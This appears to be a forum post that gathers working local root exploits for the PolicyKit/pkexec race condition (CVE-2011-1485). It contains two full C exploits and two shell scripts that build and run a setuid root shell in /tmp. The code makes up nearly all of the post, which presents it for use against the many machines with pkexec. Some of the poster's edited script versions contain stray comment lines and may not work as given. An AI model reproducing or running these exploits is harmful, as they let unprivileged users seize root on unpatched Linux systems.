Here is a nice .c version but… there is a few ways this can be made…read on…
pkexec Race condition (CVE-2011-1485) exploit (.c) .. thanks to x10d4n
good work friend
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
¡Á U can reach us @ http://www.wooyun.org
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[], char ** envp) {
time_t tim_seed1;
pid_t pid_seed2;
int result;
struct stat stat_buff;
char * chfn_path = "/usr/bin/chfn";
char cmd_buff[4096];
char * pkexec_argv[] = {
"/usr/bin/pkexec",
"/bin/sh",
"-c",
cmd_buff,
NULL
};
int pipe1[2];
int pipe2[2];
int pipe3[2];
pid_t pid,pid2 ;
char * chfn_argv[] = {
"/usr/bin/chfn",
NULL
};
char buff[8];
char read_buff[4096];
char real_path[512];
struct termios termios_p;
int count = 0;
int flag = 0;
int usleep1 = 0;
int usleep2 = 0;
bzero(cmd_buff,4096);
bzero(real_path,512);
realpath(argv[0],real_path);
tim_seed1 = time(NULL);
pid_seed2 = getpid();
srand(tim_seed1+pid_seed2);
//get terminal attr
tcgetattr(0,&termios_p);
snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
if(! geteuid()) {
char *exec_argv[2]={
"/bin/sh",
NULL
};
setuid(0);
setgid(0);
execve("/bin/sh",exec_argv,0);
perror("execve shell");
exit(-1);
}
printf("pkexec local root exploit by xi4oyu , thx to dm\n");
if(pipe(pipe1)) {
perror("pipe");
exit(-2);
}
for(count = 500; count && !flag; count--) {
pid = fork();
if( !pid ){
// Parent
if( !pipe(pipe2)) {
if(!pipe(pipe3)) {
pid2 = fork();
if(!pid2){
// Parent 2
close(1);
close(2);
close(pipe1[0]);
dup2(pipe1[1],2);
dup2(pipe1[1],1);
close(pipe1[1]);
close(pipe2[0]);
close(pipe3[1]);
write(pipe2[1],"\xFF",1);
read(pipe3[0],&buff,1);
execve(pkexec_argv[0],pkexec_argv,envp);
perror("execve pkexec");
exit(-3);
}
close(0);
close(1);
close(2);
close(pipe2[1]);
close(pipe3[0]);
read(pipe2[0],&buff,1);
write(pipe3[1],"\xFF",1);
usleep(usleep1+usleep2);
execve(chfn_argv[0],chfn_argv,envp);
perror("execve setuid");
exit(1);
}
}
perror("pipe3");
exit(1);
}
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
memset(pipe3,0,8);
struct pollfd * pollfd = (struct pollfd *)(&pipe3);
pollfd->fd = pipe1[0];
pollfd->events = POLLRDNORM;
if(poll(pollfd,1,1000) < 0){
perror("poll");
exit(1);
}
if(pollfd->revents & POLLRDNORM ){
memset(read_buff,0,4096);
read(pipe1[0],read_buff,4095);
if( strstr(read_buff,"does not match")){
usleep1 += 500;
usleep2 = rand() % 1000;
}else{
usleep1 -= 500;
}
}
if(!stat(real_path,&stat_buff)){
if(!stat_buff.st_uid){
if(!stat_buff.st_gid){
if(stat_buff.st_mode & 0x800){
char *exec_array[]={
real_path,
NULL
};
flag = 1;
tcsetattr(0,2,&termios_p);
execve(real_path,exec_array,0);
perror("execve self");
exit(1);
}
}
}
}
tcsetattr(0,2,&termios_p);
}
result = 0;
return result;
}
Thats a VERY nice version but there is more ways to exploit this… so lets keep on goin!
/* polkit-pwnage.c
*
* ==============================
* = PolicyKit Pwnage =
* = by zx2c4 =
* = Sept 2, 2011 =
* ==============================
* Howdy folks,
* This exploits CVE-2011-1485, a race condition in PolicyKit.
* davidz25 explains:
* --begin--
* Briefly, the problem is that the UID for the parent process of pkexec(1) is
* read from /proc by stat(2)'ing /proc/PID. The problem with this is that
* this returns the effective uid of the process which can easily be set to 0
* by invoking a setuid-root binary such as /usr/bin/chsh in the parent
* process of pkexec(1). Instead we are really interested in the real-user-id.
* While there's a check in pkexec.c to avoid this problem (by comparing it to
* what we expect the uid to be - namely that of the pkexec.c process itself which
* is the uid of the parent process at pkexec-spawn-time), there is still a short
* window where an attacker can fool pkexec/polkitd into thinking that the parent
* process has uid 0 and is therefore authorized. It's pretty hard to hit this
* window - I actually don't know if it can be made to work in practice.
* --end--
* Well, here is, in fact, how it's made to work in practice. There is as he said an
* attempted mitigation, and the way to trigger that mitigation path is something
* like this:
* $ sudo -u `whoami` pkexec sh
* User of caller (0) does not match our uid (1000)
*
* Not what we want. So the trick is to execl to a suid at just the precise moment
* /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,
* and execl to the suid binary as our very next instruction.
*
* ** Usage **
* $ pkexec --version
* pkexec version 0.101
* $ gcc polkit-pwnage.c -o pwnit
* $ ./pwnit
* [+] Configuring inotify for proper pid.
* [+] Launching pkexec.
* sh-4.2# whoami
* root
* sh-4.2# id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* sh-4.2#
*
* ** Targets **
* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which
* as of writing uses 0.101, has backported 0.102's bug fix. A way to check
* this is by looking at the mtime of /usr/bin/pkexec -- April 22, 2011 or
* later and you're out of luck. It's likely other distributions do the same.
* Fortunately, this exploit is clean enough that you can try it out without
* too much collateral.
* greets to djrbliss and davidz25.
* - zx2c4
* 2-sept-2011
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
printf("=============================\n");
printf("= PolicyKit Pwnage =\n");
printf("=============================\n\n");
if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
now, we found a simple .sh version of this exploit, however, it was NOT written to well… so i adjusted it and seems to be working now.. will show you here…
this code is OLD code wich was posted, actually, it had even wrong paths in the makesuid section…anyhow, we will fix this now using the .c exploits…
Oh btw, that suid.c makes the shell kinda die
so, we might need to adjust that also…
#!/bin/sh
## Polkit pwnage shell version wich was released, now re-released...
cat > suid.c << _EOF
#include <stdio.h>
#include <string.h>
int main(void) { // looks abit better... altho, i have to test it now..
##char *root=malloc(1000);
##char perintah[256]="/bin/sh -c ";
setgid(0);
setuid(0);
##strcat(root,perintah);
execl("/bin/sh","sh",0);
}
_EOF
// ok we have fixed the paths here... lets fix our suid shell...
cat > makesuid.c << _EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
if (fork() != 0) {
int fd;
char pid_path[15];
sprintf(pid_path, "/proc/%i", getpid());
close(0);
close(1);
close(2);
fd = inotify_init();
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL); // our modified shell here
}
return 0;
}
_EOF
gcc -o /tmp/suid suid.c
gcc -o makesuid makesuid.c
./makesuid chown root:root /tmp/suid
./makesuid chmod u+s /tmp/suid
echo "-> Your suid is on /tmp/suid make sure u move this !!!"
/tmp/./suid -c /bin/sh
OK so, we have 2 working .c versions and, one sh version wich is very easy to fix, if it does not work already, wich it should… but then, i am using the public codes , and, i can see that pkexec is on alottt of boxes!
enjoy!
xd
edit:
here is a better version perhaps…
#!/bin/sh
## policykit-pwnage.c -> to -> bash version =)
cat > suid.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main (void) {
setgid(0);
setuid(0);
execl("/bin/sh", "sh", NULL);
}
_EOF
cat > makesuid.c << _EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
if (fork() != 0) {
int fd;
char pid_path[15];
sprintf(pid_path, "/proc/%i", getpid());
close(0);
close(1);
close(2);
fd = inotify_init();
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
_EOF
gcc -o /tmp/suid suid.c
gcc -o makesuid makesuid.c
./makesuid chown root:root /tmp/suid
./makesuid chmod u+s /tmp/suid
echo "-> Your suid shell is on /tmp/suid make sure u move this !"
/tmp/./suid -c /bin/sh
Enjoy x2 !